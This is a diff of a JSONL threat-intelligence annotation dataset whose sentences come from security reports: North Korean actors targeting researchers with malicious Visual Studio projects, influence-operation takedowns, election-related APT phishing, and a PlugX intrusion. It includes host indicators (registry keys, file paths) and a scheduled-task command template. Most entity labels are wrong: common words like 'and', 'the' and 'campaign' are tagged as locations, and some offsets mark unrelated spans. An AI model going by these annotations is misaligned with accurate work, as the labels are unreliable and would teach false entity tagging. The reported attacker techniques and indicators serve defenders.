 {"id":8722,"text":"Within the Visual Studio Project would be source code for exploiting the vulnerability, as well as an additional DLL that would be executed through Visual Studio Build Events.","entities":[{"id":26954,"label":"attack-pattern","start_offset":42,"end_offset":48}],"relations":[],"Comments":[]}
 {"id":8723,"text":"The DLL is custom malware that would immediately begin communicating with actor-controlled C2 domains.","entities":[],"relations":[],"Comments":[]}
-{"id":8724,"text":"An example of the VS Build Event can be seen in the image below.","entities":[{"id":26956,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]}
 {"id":8725,"text":"In addition to targeting users via social engineering, we have also observed several cases where researchers have been compromised after visiting the actors’ blog.","entities":[],"relations":[],"Comments":[]}
-{"id":8726,"text":"In each of these cases, the researchers have followed a link on Twitter to a write-up hosted on blog.br0vvnn[.]io, and shortly thereafter, a malicious service was installed on the researcher’s system and an in-memory backdoor would begin beaconing to an actor-owned command and control server.","entities":[{"id":26957,"label":"location","start_offset":115,"end_offset":118},{"id":26958,"label":"location","start_offset":200,"end_offset":203},{"id":26959,"label":"location","start_offset":274,"end_offset":277}],"relations":[],"Comments":[]}
-{"id":8727,"text":"At the time of these visits, the victim systems were running fully patched and up-to-date Windows 10 and Chrome browser versions.","entities":[{"id":26960,"label":"location","start_offset":7,"end_offset":11},{"id":26961,"label":"location","start_offset":75,"end_offset":78},{"id":26962,"label":"location","start_offset":85,"end_offset":89},{"id":26963,"label":"location","start_offset":101,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":8728,"text":"At this time we’re unable to confirm the mechanism of compromise, but we welcome any information others might have.","entities":[{"id":26964,"label":"location","start_offset":8,"end_offset":12},{"id":26965,"label":"location","start_offset":73,"end_offset":80}],"relations":[],"Comments":[]}
-{"id":8729,"text":"Chrome vulnerabilities, including those being exploited in the wild (ITW), are eligible for reward payout under Chrome's Vulnerability Reward Program.","entities":[{"id":26967,"label":"location","start_offset":75,"end_offset":78},{"id":26968,"label":"location","start_offset":92,"end_offset":98},{"id":26969,"label":"location","start_offset":135,"end_offset":141}],"relations":[],"Comments":[]}
 {"id":8730,"text":"We encourage anyone who discovers a Chrome vulnerability to report that activity via the Chrome VRP submission process.","entities":[],"relations":[],"Comments":[]}
-{"id":8731,"text":"These actors have used multiple platforms to communicate with potential targets, including Twitter, LinkedIn, Telegram, Discord, Keybase and email.","entities":[{"id":26976,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]}
-{"id":8732,"text":"We are providing a list of known accounts and aliases below.","entities":[{"id":26977,"label":"location","start_offset":3,"end_offset":6},{"id":26978,"label":"location","start_offset":19,"end_offset":23},{"id":26979,"label":"location","start_offset":42,"end_offset":45}],"relations":[],"Comments":[]}
 {"id":8733,"text":"If you have communicated with any of these accounts or visited the actors’ blog, we suggest you review your systems for the IOCs provided below.","entities":[],"relations":[],"Comments":[]}
-{"id":8734,"text":"To date, we have only seen these actors targeting Windows systems as a part of this campaign.","entities":[{"id":26980,"label":"location","start_offset":3,"end_offset":7},{"id":26981,"label":"location","start_offset":17,"end_offset":21},{"id":26982,"label":"location","start_offset":84,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":8735,"text":"If you are concerned that you are being targeted, we recommend that you compartmentalize your research activities using separate physical or virtual machines for general web browsing, interacting with others in the research community, accepting files from third parties and your own security research.","entities":[{"id":26983,"label":"location","start_offset":7,"end_offset":10},{"id":26984,"label":"location","start_offset":30,"end_offset":33},{"id":26985,"label":"location","start_offset":224,"end_offset":233},{"id":26987,"label":"location","start_offset":270,"end_offset":273},{"id":26988,"label":"location","start_offset":283,"end_offset":291}],"relations":[],"Comments":[]}
 {"id":8736,"text":"Host IOCs Registry Keys HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\KernelConfig HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\DriverConfig HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\SSL Update File Paths C:\\Windows\\System32\\Nwsapagent.sys C:\\Windows\\System32\\helpsvc.sys C:\\ProgramData\\USOShared\\uso.bin C:\\ProgramData\\VMware\\vmnat-update.bin C:\\ProgramData\\VirtualBox\\update.bin","entities":[{"id":26989,"label":"location","start_offset":0,"end_offset":4},{"id":26990,"label":"REGISTRYKEY","start_offset":24,"end_offset":83},{"id":26991,"label":"REGISTRYKEY","start_offset":84,"end_offset":143},{"id":26992,"label":"REGISTRYKEY","start_offset":144,"end_offset":198}],"relations":[],"Comments":[]}
 {"id":8737,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q4 2020.","entities":[],"relations":[],"Comments":[]}
 {"id":8738,"text":"It was last updated on January 26, 2021.","entities":[],"relations":[],"Comments":[]}
 {"id":8739,"text":"We terminated 12 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]}
-{"id":8740,"text":"This campaign uploaded content in Russian supporting the Russian military and criticizing U.S. military involvement in Japan.","entities":[{"id":26997,"label":"location","start_offset":5,"end_offset":13},{"id":26998,"label":"location","start_offset":23,"end_offset":30},{"id":27001,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
 {"id":8741,"text":"We received leads from Facebook that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
 {"id":8742,"text":"We terminated 2 YouTube channels as part of our investigation into coordinated influence operations linked to Myanmar.","entities":[],"relations":[],"Comments":[]}
-{"id":8743,"text":"This domestic campaign posted content focused on elections and supporting the Union Solidarity and Development Party, (USDP).","entities":[{"id":27007,"label":"location","start_offset":5,"end_offset":13},{"id":27008,"label":"location","start_offset":14,"end_offset":22},{"id":27009,"label":"location","start_offset":30,"end_offset":37},{"id":27010,"label":"location","start_offset":59,"end_offset":62}],"relations":[],"Comments":[]}
-{"id":8744,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":27013,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":8745,"text":"We terminated 35 YouTube channels as part of our investigation into coordinated influence operations linked to Azerbaijan.","entities":[],"relations":[],"Comments":[]}
-{"id":8746,"text":"This domestic campaign was linked to the New Azerbaijan Party and posted content supporting the Azerbaijani government and promoting Azerbaijani nationalism.","entities":[{"id":27017,"label":"location","start_offset":5,"end_offset":13},{"id":27018,"label":"location","start_offset":14,"end_offset":22},{"id":27020,"label":"location","start_offset":62,"end_offset":65},{"id":27021,"label":"location","start_offset":73,"end_offset":80},{"id":27023,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":8747,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":27025,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":8748,"text":"We terminated 26 YouTube channels and 1 blog as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[{"id":27028,"label":"location","start_offset":34,"end_offset":37}],"relations":[],"Comments":[]}
-{"id":8749,"text":"This campaign uploaded content primarily in Russian and included news clips and military videos supporting the Russian government.","entities":[{"id":27031,"label":"location","start_offset":5,"end_offset":13},{"id":27032,"label":"location","start_offset":23,"end_offset":30},{"id":27034,"label":"location","start_offset":52,"end_offset":55},{"id":27035,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
 {"id":8750,"text":"We received leads from the FBI that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
-{"id":8751,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":27038,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":8752,"text":"We terminated 2 YouTube channels as part of our ongoing investigation into a coordinated influence operation linked to Iran.","entities":[],"relations":[],"Comments":[]}
-{"id":8753,"text":"This campaign uploaded content in Farsi and Arabic that was critical of the Saudi government.","entities":[{"id":27042,"label":"location","start_offset":5,"end_offset":13},{"id":27043,"label":"location","start_offset":23,"end_offset":30},{"id":27045,"label":"location","start_offset":40,"end_offset":43}],"relations":[],"Comments":[]}
 {"id":8754,"text":"We terminated 10 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]}
-{"id":8755,"text":"This campaign uploaded content in Ukrainian about current events in Ukraine and critical of President Zelensky and former Ukrainian President Petro Poroshenko.","entities":[{"id":27050,"label":"location","start_offset":5,"end_offset":13},{"id":27051,"label":"location","start_offset":23,"end_offset":30},{"id":27054,"label":"location","start_offset":76,"end_offset":79},{"id":27056,"label":"location","start_offset":111,"end_offset":114}],"relations":[],"Comments":[]}
 {"id":8756,"text":"We terminated 22 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Indonesia.","entities":[],"relations":[],"Comments":[]}
-{"id":8757,"text":"This domestic campaign posted content supporting the Indonesian government.","entities":[{"id":27061,"label":"location","start_offset":5,"end_offset":13},{"id":27062,"label":"location","start_offset":14,"end_offset":22},{"id":27063,"label":"location","start_offset":30,"end_offset":37}],"relations":[],"Comments":[]}
-{"id":8758,"text":"We terminated 2 YouTube channels and 1 blog as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[{"id":27067,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]}
-{"id":8759,"text":"This campaign posted content in Arabic about the Syrian civil war and critical of U.S. foreign policy.","entities":[{"id":27070,"label":"location","start_offset":5,"end_offset":13},{"id":27071,"label":"location","start_offset":21,"end_offset":28},{"id":27074,"label":"location","start_offset":66,"end_offset":69}],"relations":[],"Comments":[]}
 {"id":8760,"text":"We received leads from the FBI that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
 {"id":8761,"text":"We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[],"relations":[],"Comments":[]}
-{"id":8762,"text":"This campaign posted content in English, Hebrew, and Arabic supporting anti-government protests in Israel.","entities":[{"id":27080,"label":"location","start_offset":5,"end_offset":13},{"id":27081,"label":"location","start_offset":21,"end_offset":28},{"id":27084,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]}
-{"id":8763,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":27087,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":8764,"text":"We terminated 9 YouTube channels as part of our investigation into a coordinated influence operation linked to Egypt.","entities":[],"relations":[],"Comments":[]}
-{"id":8765,"text":"This campaign posted content in Arabic supportive of the Muslim Brotherhood and critical of Israel and Saudi Arabia.","entities":[{"id":27092,"label":"location","start_offset":5,"end_offset":13},{"id":27093,"label":"location","start_offset":21,"end_offset":28},{"id":27096,"label":"location","start_offset":76,"end_offset":79},{"id":27098,"label":"location","start_offset":99,"end_offset":102}],"relations":[],"Comments":[]}
-{"id":8766,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":27100,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":8767,"text":"We terminated 6 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[],"relations":[],"Comments":[]}
-{"id":8768,"text":"This campaign posted content in Farsi and Dari about current events and included some content that misrepresented itself as Turkish and Afghan news outlets.","entities":[{"id":27105,"label":"location","start_offset":5,"end_offset":13},{"id":27106,"label":"location","start_offset":21,"end_offset":28},{"id":27108,"label":"location","start_offset":38,"end_offset":41},{"id":27110,"label":"location","start_offset":68,"end_offset":71},{"id":27111,"label":"location","start_offset":86,"end_offset":93},{"id":27113,"label":"location","start_offset":132,"end_offset":135}],"relations":[],"Comments":[]}
-{"id":8769,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":27115,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":8770,"text":"We terminated 1 YouTube channel as part of our ongoing investigation into coordinated influence operations linked to Myanmar.","entities":[],"relations":[],"Comments":[]}
-{"id":8771,"text":"This domestic campaign was linked to the Arakan Army and posted content that misrepresented itself as local news.","entities":[{"id":27120,"label":"location","start_offset":5,"end_offset":13},{"id":27121,"label":"location","start_offset":14,"end_offset":22},{"id":27123,"label":"location","start_offset":53,"end_offset":56},{"id":27124,"label":"location","start_offset":64,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":8772,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":27125,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":8773,"text":"We terminated 1 YouTube channel and 1 advertising account as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[{"id":27129,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":8774,"text":"This campaign uploaded content in Russian critical of the Ukrainian government.","entities":[{"id":27132,"label":"location","start_offset":5,"end_offset":13},{"id":27133,"label":"location","start_offset":23,"end_offset":30}],"relations":[],"Comments":[]}
 {"id":8775,"text":"We terminated 1 blog as part of our investigation into coordinated influence operations linked to Argentina.","entities":[],"relations":[],"Comments":[]}
-{"id":8776,"text":"The campaign uploaded content in Spanish that was critical of an Ecuadorian member of parliament.","entities":[{"id":27138,"label":"location","start_offset":4,"end_offset":12},{"id":27139,"label":"location","start_offset":22,"end_offset":29}],"relations":[],"Comments":[]}
-{"id":8777,"text":"We terminated 5 YouTube channels and 2 blogs as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[{"id":27143,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]}
-{"id":8778,"text":"This campaign uploaded content in Arabic about current events in the Middle East and North Africa.","entities":[{"id":27146,"label":"location","start_offset":5,"end_offset":13},{"id":27147,"label":"location","start_offset":23,"end_offset":30},{"id":27150,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":8779,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":27152,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":8780,"text":"We terminated 3 YouTube channels as part of our investigation into coordinated influence operations linked to France.","entities":[],"relations":[],"Comments":[]}
-{"id":8781,"text":"This campaign uploaded content in French that was supportive of the French government and critical of the Russian government.","entities":[{"id":27157,"label":"location","start_offset":5,"end_offset":13},{"id":27158,"label":"location","start_offset":23,"end_offset":30},{"id":27161,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]}
-{"id":8782,"text":"The campaign targeted the Central African Republic and Mali.","entities":[{"id":27163,"label":"location","start_offset":4,"end_offset":12},{"id":27165,"label":"location","start_offset":51,"end_offset":54}],"relations":[],"Comments":[]}
-{"id":8783,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":27167,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":8784,"text":"We terminated 34 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Myanmar.","entities":[],"relations":[],"Comments":[]}
-{"id":8785,"text":"This domestic campaign uploaded content about the Myanmar elections, regional conflicts, and current events related to the U.S., China, and Malaysia.","entities":[{"id":27172,"label":"location","start_offset":5,"end_offset":13},{"id":27173,"label":"location","start_offset":14,"end_offset":22},{"id":27174,"label":"location","start_offset":32,"end_offset":39},{"id":27176,"label":"location","start_offset":89,"end_offset":92},{"id":27179,"label":"location","start_offset":136,"end_offset":139}],"relations":[],"Comments":[]}
 {"id":8786,"text":"We terminated 3,317 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.","entities":[],"relations":[],"Comments":[]}
-{"id":8787,"text":"These channels mostly uploaded spammy content in Chinese about music, entertainment, and cooking.","entities":[{"id":27184,"label":"location","start_offset":38,"end_offset":45},{"id":27186,"label":"location","start_offset":85,"end_offset":88}],"relations":[],"Comments":[]}
-{"id":8788,"text":"A very small subset uploaded content in Chinese and English about the U.S. response to COVID-19 and anti-Chinese sentiment in the U.S.","entities":[{"id":27187,"label":"location","start_offset":7,"end_offset":12},{"id":27188,"label":"location","start_offset":29,"end_offset":36},{"id":27190,"label":"location","start_offset":48,"end_offset":51},{"id":27193,"label":"location","start_offset":96,"end_offset":99}],"relations":[],"Comments":[]}
-{"id":8789,"text":"We received leads from Graphika and Fireye that supported us in this investigation.","entities":[{"id":27197,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":8790,"text":"These findings are consistent with our previous reports in the Q2 and Q3 TAG bulletins.","entities":[{"id":27199,"label":"location","start_offset":15,"end_offset":18},{"id":27201,"label":"location","start_offset":66,"end_offset":69}],"relations":[],"Comments":[]}
-{"id":8791,"text":"Major events like elections and COVID-19 present opportunities for threat actors, and Google’s Threat Analysis Group (TAG) is working to thwart these threats and protect our products and the people using them.","entities":[{"id":27203,"label":"location","start_offset":0,"end_offset":5},{"id":27204,"label":"location","start_offset":28,"end_offset":31},{"id":27205,"label":"location","start_offset":82,"end_offset":85},{"id":27208,"label":"location","start_offset":158,"end_offset":161},{"id":27209,"label":"location","start_offset":183,"end_offset":186},{"id":27210,"label":"location","start_offset":204,"end_offset":208}],"relations":[],"Comments":[]}
-{"id":8792,"text":"As we head into the U.S. election, we wanted to share an update on what we’re seeing and how threat actors are changing their tactics.","entities":[{"id":27212,"label":"location","start_offset":85,"end_offset":88},{"id":27213,"label":"location","start_offset":107,"end_offset":110}],"relations":[],"Comments":[]}
 {"id":8793,"text":"In June, we announced that we saw phishing attempts against the personal email accounts of staffers on the Biden and Trump campaigns by Chinese and Iranian APTs (Advanced Persistent Threats) respectively.","entities":[{"id":27215,"label":"attack-pattern","start_offset":34,"end_offset":42},{"id":27217,"label":"location","start_offset":113,"end_offset":116},{"id":27220,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]}
 {"id":8794,"text":"We haven’t seen any evidence of such attempts being successful.","entities":[],"relations":[],"Comments":[]}
 {"id":8795,"text":"The Iranian attacker group (APT35) and the Chinese attacker group (APT31) targeted campaign staffers’ personal emails with credential phishing emails and emails containing tracking links.","entities":[{"id":27224,"label":"location","start_offset":35,"end_offset":38},{"id":27227,"label":"location","start_offset":83,"end_offset":91},{"id":27228,"label":"attack-pattern","start_offset":134,"end_offset":142},{"id":27229,"label":"location","start_offset":150,"end_offset":153}],"relations":[],"Comments":[]}
 {"id":8796,"text":"As part of our wider tracking of APT31 activity, we've also seen them deploy targeted malware campaigns.","entities":[{"id":27231,"label":"location","start_offset":65,"end_offset":69},{"id":27232,"label":"attack-pattern","start_offset":77,"end_offset":93}],"relations":[],"Comments":[]}
-{"id":8797,"text":"One APT31 campaign was based on emailing links that would ultimately download malware hosted on GitHub.","entities":[{"id":27235,"label":"location","start_offset":10,"end_offset":18}],"relations":[],"Comments":[]}
-{"id":8798,"text":"The malware was a python-based implant using Dropbox for command and control.","entities":[{"id":27238,"label":"location","start_offset":65,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":8799,"text":"It would allow the attacker to upload and download files as well as execute arbitrary commands.","entities":[{"id":27239,"label":"location","start_offset":38,"end_offset":41}],"relations":[],"Comments":[]}
 {"id":8800,"text":"Every malicious piece of this attack was hosted on legitimate services, making it harder for defenders to rely on network signals for detection.","entities":[],"relations":[],"Comments":[]}
 {"id":8801,"text":"In one example, attackers impersonated McAfee.","entities":[],"relations":[],"Comments":[]}
 {"id":8802,"text":"The targets would be prompted to install a legitimate version of McAfee anti-virus software from GitHub, while malware was simultaneously silently installed to the system.","entities":[],"relations":[],"Comments":[]}
-{"id":8803,"text":"When we detect that a user is the target of a government-backed attack, we send them a prominent warning.","entities":[{"id":27244,"label":"location","start_offset":34,"end_offset":40},{"id":27245,"label":"location","start_offset":80,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":8804,"text":"In these cases, we also shared our findings with the campaigns and the Federal Bureau of Investigation.","entities":[{"id":27246,"label":"location","start_offset":63,"end_offset":66}],"relations":[],"Comments":[]}
 {"id":8805,"text":"This targeting is consistent with what others have subsequently reported.","entities":[],"relations":[],"Comments":[]}
-{"id":8806,"text":"Overall, we’ve seen increased attention on the threats posed by APTs in the context of the U.S. election.","entities":[{"id":27248,"label":"location","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]}
-{"id":8807,"text":"U.S government agencies have warned about different threat actors, and we’ve worked closely with those agencies and others in the tech industry to share leads and intelligence about what we’re seeing across the ecosystem.","entities":[{"id":27251,"label":"location","start_offset":67,"end_offset":70},{"id":27252,"label":"location","start_offset":112,"end_offset":115},{"id":27253,"label":"location","start_offset":135,"end_offset":143},{"id":27254,"label":"location","start_offset":159,"end_offset":162}],"relations":[],"Comments":[]}
-{"id":8808,"text":"This has resulted in action on our platforms, as well as others.","entities":[{"id":27255,"label":"location","start_offset":21,"end_offset":27}],"relations":[],"Comments":[]}
 {"id":8809,"text":"Shortly after the U.S. Treasury sanctioned Ukrainian Parliament member Andrii Derkach for attempting to influence the U.S. electoral process, we removed 14 Google accounts that were linked to him.","entities":[],"relations":[],"Comments":[]}
-{"id":8810,"text":"We’ve been sharing actions against coordinated influence operations in our quarterly TAG bulletin (check out our Q1, Q2 and Q3 updates).","entities":[{"id":27266,"label":"location","start_offset":99,"end_offset":104},{"id":27269,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":8811,"text":"To date, TAG has not identified any significant coordinated influence campaigns targeting, or attempting to influence, U.S. voters on our platforms.","entities":[{"id":27271,"label":"location","start_offset":3,"end_offset":7}],"relations":[],"Comments":[]}
-{"id":8812,"text":"Since last summer, TAG has tracked a large spam network linked to China attempting to run an influence operation, primarily on YouTube.","entities":[{"id":27275,"label":"location","start_offset":37,"end_offset":42}],"relations":[],"Comments":[]}
-{"id":8813,"text":"This network has a presence across multiple platforms, and acts by primarily acquiring or hijacking existing accounts and posting spammy content in Mandarin such as videos of animals, music, food, plants, sports, and games.","entities":[{"id":27278,"label":"location","start_offset":55,"end_offset":58},{"id":27279,"label":"location","start_offset":118,"end_offset":121},{"id":27280,"label":"location","start_offset":137,"end_offset":144},{"id":27282,"label":"location","start_offset":213,"end_offset":216}],"relations":[],"Comments":[]}
-{"id":8814,"text":"A small fraction of these spam channels will then post videos about current events.","entities":[{"id":27283,"label":"location","start_offset":2,"end_offset":7},{"id":27284,"label":"location","start_offset":40,"end_offset":44},{"id":27285,"label":"location","start_offset":50,"end_offset":54}],"relations":[],"Comments":[]}
-{"id":8815,"text":"Such videos frequently feature clumsy translations and computer-generated voices.","entities":[{"id":27286,"label":"location","start_offset":51,"end_offset":54}],"relations":[],"Comments":[]}
-{"id":8816,"text":"Researchers at Graphika and FireEye have detailed how this network behaves—including its shift from posting content in Mandarin about issues related to Hong Kong and China’s response to COVID-19, to including a small subset of content in English and Mandarin about current events in the U.S. (such as protests around racial justice, the wildfires on the West Coast, and the U.S. response to COVID-19).","entities":[{"id":27288,"label":"location","start_offset":24,"end_offset":27},{"id":27290,"label":"location","start_offset":108,"end_offset":115},{"id":27293,"label":"location","start_offset":162,"end_offset":165},{"id":27295,"label":"location","start_offset":211,"end_offset":216},{"id":27296,"label":"location","start_offset":227,"end_offset":234},{"id":27298,"label":"location","start_offset":246,"end_offset":249},{"id":27301,"label":"location","start_offset":324,"end_offset":331},{"id":27303,"label":"location","start_offset":366,"end_offset":369}],"relations":[],"Comments":[]}
 {"id":8817,"text":"As the course of the COVID-19 pandemic evolves, we’ve seen threat actors evolve their tactics as well.","entities":[],"relations":[],"Comments":[]}
 {"id":8818,"text":"In previous posts, we discussed targeting of health organizations as well as attacker efforts to impersonate the World Health Organization.","entities":[],"relations":[],"Comments":[]}
-{"id":8819,"text":"This summer, we and others observed threat actors from China, Russia and Iran targeting pharmaceutical companies and researchers involved in vaccine development efforts.","entities":[{"id":27307,"label":"location","start_offset":16,"end_offset":19},{"id":27310,"label":"location","start_offset":69,"end_offset":72},{"id":27312,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":8820,"text":"In September, we started to see multiple North Korea groups shifting their targeting towards COVID-19 researchers and pharmaceutical companies, including those based in South Korea.","entities":[{"id":27315,"label":"location","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]}
-{"id":8821,"text":"One campaign used URL shorteners and impersonated the target’s webmail portal in an attempt to harvest email credentials.","entities":[{"id":27318,"label":"location","start_offset":4,"end_offset":12},{"id":27319,"label":"location","start_offset":33,"end_offset":36},{"id":27320,"label":"location","start_offset":54,"end_offset":60},{"id":27321,"label":"location","start_offset":71,"end_offset":77},{"id":27322,"label":"location","start_offset":95,"end_offset":102}],"relations":[],"Comments":[]}
-{"id":8822,"text":"In a separate campaign, attackers posed as recruiting professionals to lure targets into downloading malware.","entities":[{"id":27323,"label":"location","start_offset":14,"end_offset":22},{"id":27324,"label":"location","start_offset":71,"end_offset":75}],"relations":[],"Comments":[]}
 {"id":8823,"text":"In the threat actor toolkit, different types of attacks are used for different purposes: Phishing campaigns can be used like a scalpel—targeting specific groups or individuals with personalized lures that are more likely to trick them into taking action (like clicking on a malware link), while DDoS attacks are more like a hatchet—disrupting or blocking a site or a service entirely.","entities":[{"id":27325,"label":"location","start_offset":56,"end_offset":59},{"id":27326,"label":"attack-pattern","start_offset":89,"end_offset":97},{"id":27327,"label":"location","start_offset":108,"end_offset":111},{"id":27328,"label":"location","start_offset":205,"end_offset":208},{"id":27329,"label":"location","start_offset":214,"end_offset":220},{"id":27330,"label":"location","start_offset":230,"end_offset":234},{"id":27331,"label":"location","start_offset":247,"end_offset":253},{"id":27332,"label":"location","start_offset":308,"end_offset":311}],"relations":[],"Comments":[]}
 {"id":8824,"text":"While it’s less common to see DDoS attacks rather than phishing or hacking campaigns coming from government-backed threat groups, we’ve seen bigger players increase their capabilities in launching large-scale attacks in recent years.","entities":[{"id":27333,"label":"attack-pattern","start_offset":55,"end_offset":63},{"id":27334,"label":"location","start_offset":197,"end_offset":202}],"relations":[],"Comments":[]}
 {"id":8825,"text":"For example in 2017, our Security Reliability Engineering team measured a record-breaking UDP amplification attack sourced out of several Chinese ISPs (ASNs 4134, 4837, 58453, and 9394), which remains the largest bandwidth attack of which we are aware.","entities":[{"id":27338,"label":"attack-pattern","start_offset":94,"end_offset":107},{"id":27341,"label":"location","start_offset":163,"end_offset":167},{"id":27343,"label":"location","start_offset":176,"end_offset":179},{"id":27344,"label":"location","start_offset":242,"end_offset":245}],"relations":[],"Comments":[]}
-{"id":8826,"text":"Addressing state-sponsored DDoS attacks requires a coordinated response from the internet community, and we work with others to identify and dismantle infrastructure used to conduct attacks.","entities":[{"id":27345,"label":"location","start_offset":90,"end_offset":99},{"id":27346,"label":"location","start_offset":101,"end_offset":104},{"id":27347,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]}
-{"id":8827,"text":"Going forward, we’ll also use this blog to report attribution and activity we see in this space from state-backed actors when we can do so with a high degree of confidence and in a way that doesn’t disclose information to malicious actors.","entities":[{"id":27348,"label":"location","start_offset":62,"end_offset":65},{"id":27349,"label":"location","start_offset":129,"end_offset":132},{"id":27350,"label":"location","start_offset":161,"end_offset":171},{"id":27351,"label":"location","start_offset":172,"end_offset":175},{"id":27352,"label":"location","start_offset":181,"end_offset":184}],"relations":[],"Comments":[]}
-{"id":8828,"text":"Advanced persistent threats (APT) are known — and are universally dreaded — for their stealth.","entities":[{"id":27353,"label":"location","start_offset":29,"end_offset":32},{"id":27354,"label":"location","start_offset":34,"end_offset":37},{"id":27355,"label":"location","start_offset":46,"end_offset":49},{"id":27356,"label":"location","start_offset":50,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":8829,"text":"Actors behind such attacks actively innovate their techniques to evade detection and ensure that they maintain a foothold inside an environment as long as possible.","entities":[{"id":27357,"label":"location","start_offset":81,"end_offset":84},{"id":27358,"label":"location","start_offset":147,"end_offset":151}],"relations":[],"Comments":[]}
 {"id":8830,"text":"Through the Apex One with Endpoint Sensor (iES), we discovered one such incident wherein an attacker utilized sophisticated techniques in an attempt to exfiltrate sensitive information from a company.","entities":[],"relations":[],"Comments":[]}
-{"id":8831,"text":"The unique tactics, techniques, and procedures (TTPs) used in this attack highlight the importance of cross-layered detection and response solutions.","entities":[{"id":27361,"label":"location","start_offset":32,"end_offset":35},{"id":27362,"label":"location","start_offset":102,"end_offset":107},{"id":27363,"label":"location","start_offset":126,"end_offset":129}],"relations":[],"Comments":[]}
 {"id":8832,"text":"Technical analysis Detection","entities":[],"relations":[],"Comments":[]}
 {"id":8833,"text":"We noticed the execution of schtasks.exe with the command line parameter “schtasks \/create \/tn <name> c:\\programdata\\<software name>\\<file name>.bat \/sc \/once \/st <time> \/ru <user account>”.","entities":[{"id":27364,"label":"malware","start_offset":28,"end_offset":40},{"id":27365,"label":"malware","start_offset":74,"end_offset":82},{"id":27366,"label":"location","start_offset":164,"end_offset":168}],"relations":[],"Comments":[]}
 {"id":8834,"text":" The scheduled task was not created for persistence.","entities":[{"id":27367,"label":"attack-pattern","start_offset":5,"end_offset":19}],"relations":[],"Comments":[]}
@@ -8836,570 +6878,239 @@
 {"id":8836,"text":"This prompted us to dig deeper.","entities":[],"relations":[],"Comments":[]}
 {"id":8837,"text":"Evasion","entities":[],"relations":[],"Comments":[]}
 {"id":8838,"text":"The image file of the process residing in the Windows directory that triggered the schtasks command was marked as normal.","entities":[{"id":27368,"label":"malware","start_offset":83,"end_offset":91},{"id":27369,"label":"location","start_offset":114,"end_offset":120}],"relations":[],"Comments":[]}
-{"id":8839,"text":"However, a quick check on VirusTotal showed that the file's name and usual location differed from what was found in the victim machine.","entities":[{"id":27370,"label":"location","start_offset":11,"end_offset":16},{"id":27371,"label":"location","start_offset":17,"end_offset":22},{"id":27372,"label":"location","start_offset":65,"end_offset":68}],"relations":[],"Comments":[]}
 {"id":8840,"text":"PlugX and  malicious BLOBs","entities":[{"id":27373,"label":"malware","start_offset":0,"end_offset":5},{"id":27374,"label":"location","start_offset":6,"end_offset":9}],"relations":[],"Comments":[]}
